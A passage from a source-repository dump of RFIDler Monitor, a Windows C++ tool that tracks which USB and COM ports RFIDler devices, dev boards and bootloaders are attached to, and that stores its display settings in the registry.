NMWCD look for parent USB node in CurrentControlSet of Registry\n// HID device, look for parent USB node for hub & port details in CurrentControlSet of Registry\nDeviceLocation DeviceTracker::GetDeviceUSBRegistryLocation(const wchar_t *VIDstring, const wchar_t *serialString)\n{\n    wchar_t  registryKeyName[64];\n    wchar_t  locationBuffer[64];\n    wchar_t  serialNumberKey[32];\n\n    DeviceLocation location;\n    wchar_t *lastAmp;\n    HKEY hKey;\n\n    // where to look - HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USB + \\VID_xxxx&PID_xxxx\n    locationBuffer[0] = 0;\n    StringCbPrintf(registryKeyName, sizeof(registryKeyName), _T(\"SYSTEM\\\\CurrentControlSet\\\\Enum\\\\USB\\\\%.17s\"), VIDstring);\n    StringCbCopy(serialNumberKey, sizeof(serialNumberKey), serialString);\n\n    // crop last '&' and device interface id from serial number\n    lastAmp = wcsrchr(serialNumberKey, '&');\n    if (lastAmp) {\n        *lastAmp = 0;\n    }\n\n    if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, registryKeyName, 0, KEY_READ, &hKey)) {\n        // search subkeys for matching serial number\n#define MAX_KEY_LENGTH 255\n        TCHAR    achKey[MAX_KEY_LENGTH];   // buffer for subkey name\n        DWORD    cbName;                   // size of name string\n        TCHAR    achClass[MAX_PATH] = TEXT(\"\");  // buffer for class name\n        DWORD    cchClassName = MAX_PATH;  // size of class string\n        DWORD    cSubKeys=0;               // number of subkeys\n        DWORD    cbMaxSubKey;              // longest subkey size\n        DWORD    cchMaxClass;              // longest class string\n        DWORD    cValues;              // number of values for key\n        DWORD    cchMaxValue;          // longest value name\n        DWORD    cbMaxValueData;       // longest value data\n        DWORD    cbSecurityDescriptor; // size of security descriptor\n        FILETIME ftLastWriteTime;      // last write time\n        DWORD i, retCode;\n        BOOL match = FALSE;\n\n        // Get the class name and the value count.\n        retCode = RegQueryInfoKey(\n            hKey,                    // key handle\n            achClass,                // buffer for class name\n            &cchClassName,           // size of class string\n            NULL,                    // reserved\n            &cSubKeys,               // number of subkeys\n            &cbMaxSubKey,            // longest subkey size\n            &cchMaxClass,            // longest class string\n            &cValues,                // number of values for this key\n            &cchMaxValue,            // longest value name\n            &cbMaxValueData,         // longest value data\n            &cbSecurityDescriptor,   // security descriptor\n            &ftLastWriteTime);       // last write time\n\n        // Enumerate the subkeys, until matching serial number found or RegEnumKeyEx fails.\n        for (i = 0; (i < cSubKeys) && !match; i++) {\n            cbName = MAX_KEY_LENGTH;\n            retCode = RegEnumKeyEx(hKey, i, achKey, &cbName, NULL, NULL, NULL, &ftLastWriteTime);\n            if (ERROR_SUCCESS == retCode) {\n                DWORD valtype;\n                DWORD valsize = sizeof(locationBuffer);\n                HKEY hKey2;\n\n                retCode = RegOpenKeyEx(hKey, achKey, 0, KEY_READ, &hKey2);\n\n                if (ERROR_SUCCESS == retCode) {\n                    // get ParentIdPrefix value, & compare with target serial number\n                    retCode = RegQueryValueEx(hKey2, _T(\"ParentIdPrefix\"), 0, &valtype, (BYTE*)&locationBuffer, &valsize);\n                    if ((ERROR_SUCCESS == retCode) && (REG_SZ == valtype) && (0 == _wcsicmp(locationBuffer, serialNumberKey))) {\n                        match = TRUE; // exit loop\n                        valsize = sizeof(locationBuffer);\n\n                        // now get usb Location value\n                        retCode = RegQueryValueEx(hKey2, _T(\"LocationInformation\"), 0, &valtype, (BYTE*)&locationBuffer, &valsize);\n                        if ((ERROR_SUCCESS == retCode) && (REG_SZ == valtype)) {\n                            //PrintDebugStatus(TEXT(\"LocationInformation %s\\n\"), locationBuffer);\n                            UnpackUSBLocation(location, locationBuffer);\n                        }\n                    }\n\n                    RegCloseKey(hKey2);\n                }\n\n                // DEBUG - PrintDebugStatus(TEXT(\"(%d) %s %u\\n\"), i+1, achKey, retCode);\n            }\n        }\n\n#undef MAX_KEY_LENGTH\n        RegCloseKey(hKey);\n    }\n\n    return location;\n}\n\n\nDeviceLocation DeviceTracker::GetDeviceLocation(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, DeviceSerialNumber &aSerialNumber)\n{\n    unsigned        offsetToVID = 0;\n    DeviceLocation  location;\n\n    if (wcs_checkprefix(aSerialNumber.devHardwareId, _T(\"USB\\\\\"))) {\n        location = GetUSBDeviceLocation(DeviceInfoSet, DeviceInfoData);\n    } else {\n        GUID    BusGuid;\n\n        if (wcs_checkprefix(aSerialNumber.devHardwareId, _T(\"BTHENUM\\\\\"))) {\n            location.devBusType = BusBluetooth; // Widcomm / Broadcom Bluetooth drivers\n        } else if (wcs_consumeprefix(aSerialNumber.devHardwareId, _T(\"HID\\\\\"), &offsetToVID) ||\n                    wcs_consumeprefix(aSerialNumber.devHardwareId, _T(\"NMWCD\\\\\"), &offsetToVID)) {\n            // HID or Nokia Mobile Wireless Communications Device\n            location = GetDeviceUSBRegistryLocation(aSerialNumber.devHardwareId + offsetToVID, aSerialNumber.devSerialString);\n        } else if (GetDeviceBusTypeGUID(DeviceInfoSet, DeviceInfoData, BusGuid)) {\n            location = GetDeviceLocationFromBusGUID(BusGuid);\n        }\n    }\n\n    return location;\n}\n\n\nwchar_t *DeviceTracker::GetFriendlyName(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData)\n{\n    static  wchar_t friendlyName[50];\n    BOOL result;\n    DWORD size;\n\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n    if (mSetupDiGetDevicePropertyW) {\n        DEVPROPTYPE PropType;\n        result = mSetupDiGetDevicePropertyW(DeviceInfoSet,\n                                        &DeviceInfoData,\n                                        &DEVPKEY_Device_FriendlyName,\n                                        &PropType,\n                                        (PBYTE)&friendlyName,\n                                        sizeof(friendlyName),\n                                        &size,\n                                        0)\n                    && (PropType == DEVPROP_TYPE_STRING);\n    } else {\n#elif defined(USE_SETUP_DEVICE_REGISTRY)\n    {\n#endif\n        DWORD type;\n        result = SetupDiGetDeviceRegistryProperty(DeviceInfoSet, &DeviceInfoData, SPDRP_FRIENDLYNAME,\n            &type, (PBYTE) &friendlyName, sizeof(friendlyName), &size)\n            && (type == REG_SZ);\n    }\n\n    // on success dupe the string\n    return result ? _wcsdup(friendlyName) : NULL;\n}\n\n\nwchar_t* DeviceTracker::GetPortname(HKEY devkey)\n{\n#define portbuffSize 16\n    static wchar_t portnameBuff[portbuffSize];\n    const wchar_t*  keyname = L\"PortName\";\n\n    //Read the name of the port\n    DWORD sizeOut = portbuffSize;\n    DWORD type = 0;\n    wchar_t* portname = NULL;\n    LSTATUS result = RegQueryValueEx(devkey, keyname, NULL, &type, (LPBYTE)portnameBuff, &sizeOut);\n\n    // check type\n    if (REG_SZ == type) {\n        if (result == ERROR_SUCCESS) {\n            portname = wcs_dupsubstr(portnameBuff, sizeOut);\n        }\n        else if (result == ERROR_MORE_DATA) {\n            // use sizeof(wchar_t) to workaround W2K returning size in characters instead of bytes\n            wchar_t* tempBuff = (wchar_t*) calloc(sizeOut, sizeof(wchar_t));\n\n            if (tempBuff) {\n                if (RegQueryValueEx(devkey, keyname, NULL, &type, (LPBYTE)tempBuff, &sizeOut) == ERROR_SUCCESS) {\n                    // copy to new buffer that doesn't waste bytes on W2k workaround\n                    portname = wcs_dupsubstr(tempBuff, sizeOut);\n                }\n                free(tempBuff);\n            }\n        }\n    }\n\n    return portname;\n}\n\n\nwchar_t* DeviceTracker::GetPortname(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData)\n{\n    // get the registry key with the device's port settings\n    wchar_t *portname = NULL;\n    HKEY devkey = SetupDiOpenDevRegKey(DeviceInfoSet, &DeviceInfoData, DICS_FLAG_GLOBAL, 0, DIREG_DEV, KEY_QUERY_VALUE);\n\n    if (devkey) {\n        portname = GetPortname(devkey);\n\n        // tidy up\n        RegCloseKey(devkey);\n    }\n\n    return portname;\n}\n\n\n// extract serial number from Device InstanceId, winSernum set if windows (enumerator) generated it\nDeviceSerialNumber  DeviceTracker::GetSerialnumber(const wchar_t *devInstanceId, DWORD size)\n{\n    // extract & dupe serial number\n    size_t              i;\n    size_t              serpos = 0;\n    DeviceSerialNumber  serialNumber;\n\n    // find last '\\' in string, carefully in case no zero terminator\n    for (i = 0; (i < size) && devInstanceId[i] != L'\\0'; i++) {\n        switch (devInstanceId[i]) {\n        case L'&':\n            serialNumber.devIsWinSerial = TRUE;\n            break;\n        case L'\\\\':\n            serpos = i + 1;\n            serialNumber.devIsWinSerial = FALSE;\n            break;\n        }\n    }\n\n    // extract serialnumber\n    // Note prefix part of string is similar to hardwareid string, but lacks e.g. USB device revision\n    if (serpos) {        \n        serialNumber.devSerialString = wcs_dupsubstr(devInstanceId + serpos, size - serpos);\n        serialNumber.devHardwareId = wcs_dupsubstr(devInstanceId, serpos - 1);\n    }\n    return serialNumber;\n}\n\n\n/*\n   NB on older Rfidler (binaries) serial numbers are not necessarily unique!!!\n   If device does not carry one preprogrammed, windows generates based on dev type, & USB hub/port.\n   (Or PCI location etc..)\n   Similar devices can therefore have the same serial number at different times, affects us\n   when showing not currently present devices.\n\n   On the other hand later Rfidler binaries use the preprogrammed on-chip unique Ethernet MAC,\n   and mangle the byte order to create a unique serial number. So e.g. 'COM5' will be the serial\n   port interface to the same Rfidler regardless of which USB hub/port it is plugged into.\n   */\nDeviceInfo *DeviceTracker::FindDevMatchBySernum(enum DevType aDevType, wchar_t *sernumber)\n{\n    DeviceInfo *devList = mListDevices;\n\n    while (devList) {\n        BOOL cmpSernum = FALSE;\n        enum DevType dType = devList->DeviceType();\n\n        if (dType == aDevType) {\n            cmpSernum = TRUE;\n        } else {\n            // control which type transitions are allowed\n            switch (aDevType)\n            {\n            case DevRfidlerCom:\n            case DevUnconfigRfidlerCom:\n                if ((dType == DevRfidlerCom) || (dType == DevUnconfigRfidlerCom)) {\n                    cmpSernum = TRUE;\n                }\n                break;\n            case DevMicroDevBoard:\n            case DevUnconfigMicroDevBoard:\n                if ((dType == DevMicroDevBoard) || (dType == DevUnconfigMicroDevBoard)) {\n                    cmpSernum = TRUE;\n                }\n                break;\n            }\n        }\n\n        if (cmpSernum) {\n            const wchar_t *temp = devList->SerialNumber();\n            if (temp && !wcscmp(temp, sernumber)) {\n                return devList;\n            }\n        }\n        devList = devList->DeviceNext();\n    }\n    return NULL;\n}\n\n\nvoid DeviceTracker::AddOrUpdateDevice(enum DevType aDevType, HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData,\n        const wchar_t *devInstanceId, DWORD size, SerialPortType aPortType, FILETIME &aNow, unsigned aScanId)\n{\n    enum DevState       dState;\n    DeviceLocation      location;\n    DevicePortDetails   portDetails;\n    DeviceSerialNumber  serialNumber;\n    BOOL                added = FALSE;\n    DeviceInfo          *devItem = NULL;\n\n    if (mOptions.ShowNotPresent()) {\n        // get device present status: DevPresent or DevAbsent\n        dState = GetDevPresentStatus(DeviceInfoSet, DeviceInfoData);\n    } else {\n        dState = DevPresent;\n    }\n    \n    // split devInstanceId into HardwareId (bus + vid, pid & function) and Serial Number string (& flag if Windows generated)\n    serialNumber = GetSerialnumber(devInstanceId, size);\n\n    devItem = FindDevMatchBySernum(aDevType, serialNumber.devSerialString);\n\n    // get more details for new or Present device\n    if ((!devItem) || (dState == DevPresent)) {\n        // USB hub & port are easy to get for USB/... devices, harder for HID/...\n        location = GetDeviceLocation(DeviceInfoSet, DeviceInfoData, serialNumber);\n\n        switch (aDevType) // get COM port name\n        {\n        case DevRfidlerCom:\n        case DevMicroDevBoard:\n        case DevOtherSerial:\n            {\n                unsigned offset = 0;\n                portDetails.devPortName = GetPortname(DeviceInfoSet, DeviceInfoData);\n                if (DevOtherSerial == aDevType) {\n                    if (!portDetails.devPortName || (0 != wcsncmp(portDetails.devPortName, _T(\"COM\"), 3))) {\n                        // LPT port presumably => not interesting\n                        return;\n                    }\n                    // get friendly name, if any\n                    portDetails.devFriendlyName = GetFriendlyName(DeviceInfoSet, DeviceInfoData);\n                }\n                if (portDetails.devPortName && wcs_consumeprefix(portDetails.devPortName, _T(\"COM\"), &offset)) {\n                    portDetails.devPortNumber = wcstoul(portDetails.devPortName + offset, NULL, 10);\n                }\n            }\n            break;\n        }\n    }\n\n    if (devItem) {\n        // device in list, so update connected state, COM port name, USB location, ..\n        devItem->UpdateDevice(aDevType, dState, aNow, portDetails, location, serialNumber, aScanId);\n    } else {\n        // create new device object, & add to display\n        added = DeviceInfo::AddDeviceToList(aDevType, dState, aNow, portDetails, location, serialNumber, aScanId, aPortType);\n    }\n\n    // cleanup memory\n    if (!added) {\n        ReleaseString(portDetails.devPortName);\n        ReleaseString(serialNumber.devSerialString);\n        ReleaseString(portDetails.devFriendlyName);\n        ReleaseString(serialNumber.devHardwareId);\n    }\n}\n\n\n// called when changing Options or on 5s display refresh timer for recently Arrived/Removed devices\nvoid DeviceTracker::UpdateArrivedAndRemovedDevices()\n{\n    mDevicesInArrivalState = FALSE;\n\n    if (mListDevices) {\n        SYSTEMTIME st;\n        FILETIME   ft;\n\n        GetSystemTime(&st);              // current system time (UTC)\n        SystemTimeToFileTime(&st, &ft);  // file time format\n\n        UpdateArrivalOrRemovalState(ft);\n    }\n\n    if (!mDevicesInArrivalState) {\n        // cancel timer if no more expected changes (ie no devices in fresh arrival/removal states)\n        CancelArrivalTimer();\n    }\n\n    // re-sort ListView if necessary\n    if (mNeedDevicesResort) {\n        mNeedDevicesResort = FALSE;\n        ListView_SortItems(mHWndListView, DeviceInfo::CompareProc,\n                mSortType);\n    }\n}\n\n\n// called after a device scan, (initial or after device changes)\nvoid DeviceTracker::CleanupOrphanedDevices(FILETIME &aNow, unsigned aScanId)\n{\n    DeviceInfo *item = mListDevices;\n\n    while (item) {\n        BOOL unlink = FALSE;\n\n        if (item->LastScanId() != aScanId) {\n            // note that new options may have excluded device from scan\n            if (!mOptions.ShowNotPresent() && !mOptions.ShowRecentDisc()) {\n                unlink = TRUE;\n            } else {\n                enum DevType dType = item->DeviceType();\n\n                if ( ((dType == DevMicroDevBoard) || (dType == DevUnconfigMicroDevBoard))\n                        && !mOptions.ShowDevBoardsOrAnySerial() ) {\n                    unlink = TRUE;\n                } else if ( ((dType == DevUnconfigRfidlerCom) || (dType == DevUnconfigMicroDevBoard))\n                        && !mOptions.ShowNonConfig() ) {\n                    unlink = TRUE;\n                } else if ( (dType == DevOtherSerial) && !mOptions.ShowAnySerial() ) {\n                    unlink = TRUE;\n                } else {\n                    // update device count, displayed icon & state, etc...\n                    item->UpdateDeviceState(DevAbsent, aNow, aScanId);\n                }\n            }\n        }\n\n        if (unlink) {\n            item = item->DeleteDevice(FALSE);\n        } else {\n            item = item->DeviceNext();\n        }\n    } // while\n}\n\n\n// new options may have excluded devices from scan list\nvoid DeviceTracker::CleanupDevicesAfterOptionsChange()\n{\n    DeviceInfo *item = mListDevices;\n\n    while (item) {\n        BOOL unlink = FALSE;\n        enum DevType dType = item->DeviceType();\n        enum DevState dState = item->DeviceState();\n\n        if ( ((dType == DevMicroDevBoard) || (dType == DevUnconfigMicroDevBoard))\n                && !mOptions.ShowDevBoardsOrAnySerial()) {\n            unlink = TRUE;\n        } else if ( (dType == DevOtherSerial) && !mOptions.ShowAnySerial() ) {\n            unlink = TRUE;\n        } else if ( ((dType == DevUnconfigRfidlerCom) || (dType == DevUnconfigMicroDevBoard))\n                && !mOptions.ShowNonConfig() ) {\n            unlink = TRUE;\n        } else if ((dState == DevAbsent) && !mOptions.ShowNotPresent()) {\n            unlink = TRUE;\n        } else if ((dState == DevRemoved) && !mOptions.ShowRecentDisc()) {\n            unlink = TRUE;\n        }\n\n        if (unlink) {\n            item = item->DeleteDevice(FALSE);\n        } else {\n            item = item->DeviceNext();\n        }\n    } // while\n}\n\n\nMonOptions& DeviceTracker::GetOptions()\n{\n    return mOptions;\n}\n\n\nvoid DeviceTracker::SetOptions(const MonOptions& aOptions, SetMode setmode)\n{\n    BOOL showSettingsChanged = FALSE;\n\n     // setting around what items are shown\n    if ((SetAll == setmode) || (SetShowOptions == setmode)) {\n        if (mOptions.ShowNonConfig() != aOptions.ShowNonConfig()) {\n            mInitialiseUnconfig = TRUE; // next scan should handle Unconfig as per initial scan\n        }\n        if (mOptions.ShowDevBoardsOrAnySerial() != aOptions.ShowDevBoardsOrAnySerial()) {\n            mInitialiseMicroSer = TRUE; // next scan should handle Microchip USB serial as per initial scan\n\n            // ensure status bar is updated\n            if (aOptions.ShowDevBoardsOrAnySerial()) {\n                SetStatusBarPartitions(mHWndStatusBar, 3);\n                StatusBarRefresh();\n            } else {\n                SetStatusBarPartitions(mHWndStatusBar, 2);\n            }\n        }\n        if (mOptions.ShowAnySerial() != aOptions.ShowAnySerial()) {\n            mInitialiseAnySerial = TRUE; // next scan should handle other serial ports as per initial scan\n        }\n\n        // copy new values, and setup saving changes to the registry \n        mOptions.SetShowOptionsAndRegistrySave(aOptions, showSettingsChanged);\n        // handle any change to the Arrival / Removal display time\n        mOptions.SetArrivalOrRemovalTime(aOptions.GetArrivalOrRemovalTime(), TRUE);\n    }\n\n    if ((SetAll == setmode) || (SetNotifyOptions == setmode)) {\n        // copy new values, and setup saving changes to the registry \n        mOptions.SetNotifyOptionsAndRegistrySave(aOptions);\n    }\n\n    if (showSettingsChanged) {\n        // handle changes where currently displayed devices are no longer needed\n        CleanupDevicesAfterOptionsChange();\n        // kick timer for a rescan\n        KickDevScanTimer();\n    }\n}\n\n\n/*\n   On plugging / unplugging devices are put into DevArrived / DevRemoved state\n   for X minutes. Set by ArrivalOrRemovalTime maintained by an options setting.\n   Then the devices switches to DevPresent, or DevRemoved/ not listed state, \n   depending on if 'show not present' option is set.\n*/\nvoid DeviceTracker::UpdateArrivalOrRemovalState(FILETIME &now)\n{\n    // update display state for arrived / removed devices\n    DeviceInfo *item = mListDevices;\n\n    while (item) {\n        enum DevState dState = item->DeviceState();\n        BOOL unlink = FALSE;\n\n        switch (dState)\n        {\n        case DevAbsent:\n            if (!mOptions.ShowNotPresent()) {\n                unlink = TRUE;\n            }\n            break;\n\n        case DevPresent:\n            break;\n\n        case DevRemoved:\n            // update display with elapsed time\n            if (!item->UpdateTimeInState(now, mOptions.GetArrivalOrRemovalTime())) {\n                // time expired\n                if (mOptions.ShowNotPresent()) {\n                    item->SetDeviceAbsent();\n                    UpdateViewItemState(item->StateName(), (LPARAM)item);\n                } else {\n                    unlink = TRUE;\n                }\n            } else {\n                // still in DevRemoved state?\n                mDevicesInArrivalState = TRUE;\n            }\n            break;\n\n        case DevArrived:\n            // update display with elapsed time, use default time for limit before DevPresent State\n            if (!item->UpdateTimeInState(now, KArrivalOrRemovalTimeDefault)) {\n                // time expired\n                item->SetDevicePresent();\n                UpdateViewItemState(item->StateName(), (LPARAM)item);\n            } else {\n                // still in DevArrived state?\n                mDevicesInArrivalState = TRUE;\n            }\n            break;\n        }\n\n        if (unlink) {\n            item = item->DeleteDevice(FALSE);\n        } else {\n            item = item->DeviceNext();\n        }\n    }\n}\n\n\nvoid DeviceTracker::UpdateStatusBarAndWinFlashNotifications()\n{\n    StatusBarRefresh();\n\n    if (mNeedFlashWindow) {\n        FlashWindow(mHWndMain, FALSE);\n        mNeedFlashWindow = FALSE;\n    }\n}\n\n\n /*\n   Refresh device counts for Window Status Bar\n  */\nvoid DeviceTracker::StatusBarRefresh()\n{\n    static wchar_t statusBuffer[1024];\n\n    // TODO? change icon overlay in system tray?\n\n    // also update status bar - mHWndStatusBar\n    if (mHWndStatusBar) {\n        // status bar could has counts for Dev boards, Bootloaders, etc\n        int count = DeviceInfo::CountOfRfidlers();\n\n        if (count) {\n            StringCbPrintf(statusBuffer, sizeof(statusBuffer), _T(\"%u RFIDler%s connected\"), count,\n                (count == 1) ? _T(\"\") : _T(\"s\"));\n        } else {\n            StringCbPrintf(statusBuffer, sizeof(statusBuffer), _T(\"No RFIDlers connected\"));\n        }\n        SendMessage(mHWndStatusBar, SB_SETTEXT, 0, (LPARAM) statusBuffer);\n\n        count = DeviceInfo::CountOfBootloaders();\n        if (count) {\n            StringCbPrintf(statusBuffer, sizeof(statusBuffer), _T(\"%u HID Bootloader%s connected\"), count,\n                (count == 1) ? _T(\"\") : _T(\"s\"));\n        } else {\n            StringCbPrintf(statusBuffer, sizeof(statusBuffer), _T(\"No HID Bootloaders connected\"));\n        }\n        SendMessage(mHWndStatusBar, SB_SETTEXT, 1, (LPARAM) statusBuffer);\n\n        if (mOptions.ShowDevBoardsOrAnySerial()) {\n            count = DeviceInfo::CountOfDevBoards();\n\n            if (count) {\n                StringCbPrintf(statusBuffer, sizeof(statusBuffer), _T(\"%u Dev Board%s connected\"), count,\n                    (count == 1) ? _T(\"\") : _T(\"s\"));\n            } else {\n                StringCbPrintf(statusBuffer, sizeof(statusBuffer), _T(\"No Dev Boards connected\"));\n            }\n            SendMessage(mHWndStatusBar, SB_SETTEXT, 2, (LPARAM) statusBuffer);\n        }\n    }\n}\n\n\nvoid DeviceTracker::KickArrivalTimer()\n{\n    if (!mTimerArrival) {\n        // run timer every ~5s\n        SetTimer (mHWndMain, mTimerArrival = ARRIVAL_TIMER_MAGICNUMBER, 5000, NULL);\n    }\n}\n\n\nvoid DeviceTracker::CancelArrivalTimer()\n{\n    if (mTimerArrival) {\n        KillTimer(mHWndMain, mTimerArrival);\n        mTimerArrival = 0;\n    }\n}\n\n\nvoid DeviceTracker::KickDevScanTimer()\n{\n    if (!mTimerDevScan) {\n        // wait at least 100ms, as changes often bunch together\n        SetTimer (mHWndMain, mTimerDevScan = DEV_RESCAN_TIMER_MAGICNUMBER, 100, NULL);\n    }\n}\n\n\nvoid DeviceTracker::CancelDevScanTimer()\n{\n    if (mTimerDevScan) {\n        KillTimer(mHWndMain, mTimerDevScan);\n        mTimerDevScan = 0;\n    }\n}\n\n\nBOOL DeviceTracker::CheckInitialScanFlag(enum DevType dType)\n{\n    switch(dType)\n    {\n    case DevRfidlerCom:\n        return mInitialiseRfidler;\n    case DevMicroDevBoard:\n        return mInitialiseMicroSer;\n    case DevMicroBootloader:\n        return mInitialiseRfidler;\n    case DevOtherSerial:\n        return mInitialiseAnySerial;\n    case DevUnconfigRfidlerCom:\n    case DevUnconfigMicroDevBoard:\n    default:\n        return mInitialiseUnconfig;\n    }\n}\n\n\n//  common function for new device or changing state to DevArrived/DevPresent\nvoid DeviceTracker::DetermineArrivalNotifications(enum DevType dType, enum DevState newState)\n{\n    if ((newState == DevPresent) || (newState == DevArrived)) {\n        if (newState == DevArrived) {\n            mDevicesInArrivalState = TRUE;\n        }\n        BOOL updateStatusBar = FALSE;\n\n        switch (dType)\n        {\n        case DevRfidlerCom:\n            updateStatusBar = TRUE;\n            // notify if wanted (except if Options just changed)\n            if (!mInitialiseRfidler && mOptions.NotifyRfidlerArrFlash()) {\n                mNeedFlashWindow = TRUE;\n            }\n            break;\n        case DevMicroDevBoard:\n            if (mOptions.ShowDevBoardsOrAnySerial()) {\n                updateStatusBar = TRUE;\n            }\n            // notify if wanted (except if Options just changed)\n            if (!mInitialiseMicroSer && mOptions.NotifyMicrochipArrFlash()) {\n                mNeedFlashWindow = TRUE;\n            }\n            break;\n        case DevMicroBootloader:\n            updateStatusBar = TRUE;\n            // notify if wanted (except if Options just changed)\n            if (!mInitialiseRfidler && mOptions.NotifyBootArrFlash()) {\n                mNeedFlashWindow = TRUE;\n            }\n            break;\n        default:\n            // future feature, arrival notifications for DevOtherSerial ?\n            break;\n        }\n\n        if (updateStatusBar) {\n            StatusBarRefresh();\n        }\n    }\n}\n\n\n//  common function for forgetting device or changing state to DevRemoved\nvoid DeviceTracker::DetermineRemovalNotifications(enum DevType dType, enum DevState oldState, enum DevState newState)\n{\n    if (newState == DevRemoved) {\n        mDevicesInArrivalState = TRUE;\n    }\n\n    if (((oldState == DevPresent) || (oldState == DevArrived)) &&\n                (newState != DevPresent) && (newState != DevArrived)) {\n        BOOL updateStatusBar = FALSE;\n\n        switch (dType)\n        {\n        case DevRfidlerCom:\n            updateStatusBar = TRUE;\n            // notify if wanted (except if Options just changed)\n            if (!mInitialiseRfidler && mOptions.NotifyRfidlerArrFlash()) {\n                mNeedFlashWindow = TRUE;\n            }\n            break;\n        case DevMicroDevBoard:\n            if (mOptions.ShowDevBoardsOrAnySerial()) {\n                updateStatusBar = TRUE;\n            }\n            // notify if wanted (except if Options just changed)\n            if (!mInitialiseMicroSer && mOptions.NotifyMicrochipArrFlash()) {\n                mNeedFlashWindow = TRUE;\n            }\n            break;\n        case DevMicroBootloader:\n            updateStatusBar = TRUE;\n            // notify if wanted (except if Options just changed)\n            if (!mInitialiseRfidler && mOptions.NotifyBootArrFlash()) {\n                mNeedFlashWindow = TRUE;\n            }\n            break;\n        default:\n            // future feature, removal notifications for DevotherSerial?\n            break;\n        }\n\n        if (updateStatusBar) {\n            StatusBarRefresh();\n        }\n    }\n}\n\n\n/* end of file devicetracker.cpp */"
  },
  {
    "path": "windows-src/RFIDler-mon/monitoroptions.cpp",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: monitoroptions.cpp\n\n    Author: Anthony Naggs, 2014\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n\n#include \"rfidmonitor.h\"\n\n\n// store / retrieve setting from registry in SOFTWARE\\\\TonyNaggs\\\\RfidlerMonitor\nstatic const wchar_t *KRegistryBase = _T(\"SOFTWARE\");\nstatic const wchar_t *KRegVendor = _T(\"TonyNaggs\");\nstatic const wchar_t *KRegProgramName = _T(\"RfidlerMonitor\");\nstatic const wchar_t *KRegFullProgramName = _T(\"SOFTWARE\\\\TonyNaggs\\\\RfidlerMonitor\");\n\nstatic const wchar_t *KRegKeyShowFlags = _T(\"ShowFlags\");\nstatic const wchar_t *KRegKeyNotifyFlags = _T(\"Notifications\");\nstatic const wchar_t *KRegKeySortOrder = _T(\"SortOrder\");\nstatic const wchar_t *KRegKeyViewStyle = _T(\"ViewStyle\");\nstatic const wchar_t *KRegKeyWinPosX = _T(\"WinPosX\");\nstatic const wchar_t *KRegKeyWinPosY = _T(\"WinPosY\");\nstatic const wchar_t *KRegKeyWinLayoutVer = _T(\"WinLayout\");\nstatic const wchar_t *KRegKeyWinSizeCX = _T(\"WinSizeCX\");\nstatic const wchar_t *KRegKeyWinSizeCY = _T(\"WinSizeCY\");\nstatic const wchar_t *KRegKeyMRUHexFile = _T(\"MRU_HexFile\");\nstatic const wchar_t *KRegKeyArrivalTime = _T(\"ArrivalTime\");\n\n\n\nvoid MonOptions::ReadRegistryValues()\n{\n    // read registry values\n    HKEY programKey;\n\n    if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER, KRegFullProgramName, 0, KEY_READ, &programKey)) {\n        // vendor and application keys exist\n        DWORD temp;\n        DWORD valtype;\n        DWORD valsize = sizeof(temp);\n        int tint; // temp converted to int\n        HKEY hk;\n\n        // what optional stuff to show\n        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyShowFlags, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n            tint = (int) temp;\n            if (0 == (tint & ~optKAllShowFlags)) {\n                optShowFlags = temp;\n                optNeedSaveShowFlags = FALSE;\n            }\n        }\n\n        // when to flash window title for notifications\n        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyNotifyFlags, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n            tint = (int) temp;\n            if (0 == (tint & ~optKAllNotifyFlags)) {\n                optNotifyFlags = temp;\n                optNeedSaveNotifyFlags = FALSE;\n            }\n        }\n\n        // previous window position, size, and layout\n        if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyWinPosX, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n            optWindowPlace.left = temp;\n            if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyWinPosY, 0, &valtype, (BYTE*)&temp, &valsize)) && (REG_DWORD == valtype)) {\n                optWindowPlace.top = temp;\n                if ((ERROR_SUCCESS == RegQueryValueEx(programKey, KRegKeyWinSizeCX, 0, &valtype, 